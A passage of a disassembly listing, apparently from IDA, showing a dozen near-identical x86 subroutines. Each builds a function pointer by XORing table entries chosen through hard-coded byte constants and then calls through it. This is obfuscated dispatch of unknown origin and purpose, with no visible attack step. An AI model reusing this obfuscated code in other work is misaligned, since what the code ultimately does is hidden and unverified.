mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC282 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC37F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA80o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 55h
mov [ebp+var_2C], 0AAh
mov [ebp+var_28], 6Ah
mov [ebp+var_24], 70h
mov [ebp+var_20], 0E2h
mov [ebp+var_1C], 96h
mov [ebp+var_18], 13h
mov [ebp+var_14], 65h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC410
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC410: ; CODE XREF: sub_4AC37F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC37F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC47C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA84o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 27h
mov [ebp+var_2C], 55h
mov [ebp+var_28], 6Fh
mov [ebp+var_24], 9Bh
mov [ebp+var_20], 0C9h
mov [ebp+var_1C], 38h
mov [ebp+var_18], 8Dh
mov [ebp+var_14], 62h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC50A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC50A: ; CODE XREF: sub_4AC47C+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC47C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC576 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA88o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Fh
mov [ebp+var_2C], 54h
mov [ebp+var_28], 2Eh
mov [ebp+var_24], 2Eh
mov [ebp+var_20], 9Eh
mov [ebp+var_1C], 25h
mov [ebp+var_18], 43h
mov [ebp+var_14], 85h
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC607
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC607: ; CODE XREF: sub_4AC576+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC576 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC673 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA8Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Fh
mov [ebp+var_2C], 3
mov [ebp+var_28], 17h
mov [ebp+var_24], 1Bh
mov [ebp+var_20], 0A3h
mov [ebp+var_1C], 2Dh
mov [ebp+var_18], 0D2h
mov [ebp+var_14], 0E4h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC704
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC704: ; CODE XREF: sub_4AC673+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC673 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC770 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA90o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 98h
mov [ebp+var_2C], 0B7h
mov [ebp+var_28], 47h
mov [ebp+var_24], 13h
mov [ebp+var_20], 87h
mov [ebp+var_1C], 0EFh
mov [ebp+var_18], 38h
mov [ebp+var_14], 1Dh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC801
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC801: ; CODE XREF: sub_4AC770+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC770 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC86D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA94o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E4h
mov [ebp+var_2C], 51h
mov [ebp+var_28], 6Ah
mov [ebp+var_24], 66h
mov [ebp+var_20], 80h
mov [ebp+var_1C], 0A1h
mov [ebp+var_18], 85h
mov [ebp+var_14], 5Bh
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC8FE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC8FE: ; CODE XREF: sub_4AC86D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC86D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC96A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA98o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 90h
mov [ebp+var_2C], 0F6h
mov [ebp+var_28], 0EFh
mov [ebp+var_24], 22h
mov [ebp+var_20], 0C1h
mov [ebp+var_1C], 0CDh
mov [ebp+var_18], 9Dh
mov [ebp+var_14], 0B5h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC9FB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC9FB: ; CODE XREF: sub_4AC96A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACA67 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA9Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C6h
mov [ebp+var_2C], 8Eh
mov [ebp+var_28], 97h
mov [ebp+var_24], 2Ah
mov [ebp+var_20], 2Bh
mov [ebp+var_1C], 7Ah
mov [ebp+var_18], 0D8h
mov [ebp+var_14], 1Fh
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACAF8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACAF8: ; CODE XREF: sub_4ACA67+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACA67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACB64 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAA0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 68h
mov [ebp+var_2C], 0A3h
mov [ebp+var_28], 4
mov [ebp+var_24], 96h
mov [ebp+var_20], 96h
mov [ebp+var_1C], 32h
mov [ebp+var_18], 83h
mov [ebp+var_14], 0EBh
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACBF5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACBF5: ; CODE XREF: sub_4ACB64+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACB64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACC61 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAA4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A4h
mov [ebp+var_2C], 7Ah
mov [ebp+var_28], 3Ah
mov [ebp+var_24], 0CCh
mov [ebp+var_20], 0B7h
mov [ebp+var_1C], 0B7h
mov [ebp+var_18], 14h
mov [ebp+var_14], 0B0h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACCF2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACCF2: ; CODE XREF: sub_4ACC61+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACC61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACD5E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAA8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 21h
mov [ebp+var_2C], 0F9h
mov [ebp+var_28], 0C4h
mov [ebp+var_24], 8Eh
mov [ebp+var_20], 9Eh
mov [ebp+var_1C], 70h
mov [ebp+var_18], 55h
mov [ebp+var_14], 9Ch
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACDEF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACDEF: ; CODE XREF: sub_4ACD5E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACD5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACE5B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAACo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 36h
mov [ebp+var_2C], 0A5h
mov [ebp+var_28], 46h
mov [ebp+var_24], 2Dh
mov [ebp+var_20], 1Eh
mov [ebp+var_1C], 55h
mov [ebp+var_18], 0F3h
mov [ebp+var_14], 54h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACEEC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACEEC: ; CODE XREF: sub_4ACE5B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
